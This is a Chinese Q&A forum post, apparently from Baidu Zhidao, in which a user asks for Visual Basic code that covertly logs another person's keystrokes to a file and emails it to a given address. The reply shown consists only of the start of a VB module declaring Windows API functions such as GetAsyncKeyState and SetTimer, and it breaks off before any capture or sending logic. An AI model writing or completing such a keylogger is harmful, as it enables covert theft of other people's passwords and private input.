各位大虾请到此一游，关于VB

来源：百度知道 编辑：UC知道 时间：2024/06/04 12:56:44
小弟我想用VB编个东东，还请各位大哥帮忙。
具体情况是：在别人点击一个命令按钮后，在C:\Windows下生成一个命名为“code”的txt文件，并且记录该用户的键盘输入（最好是在有时间间隔的地方有空格或回车，实在没法弄也没关系）。如果可能的话：在该用户联网是把该文件发送到tyc1609@sina.com上。

本文急用，如果成功，悬赏150。
没法再加了，到次数了，不过还是要谢谢你。

'*************** 本段代码放在 Module1.bas

Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt&, sSave$, sOl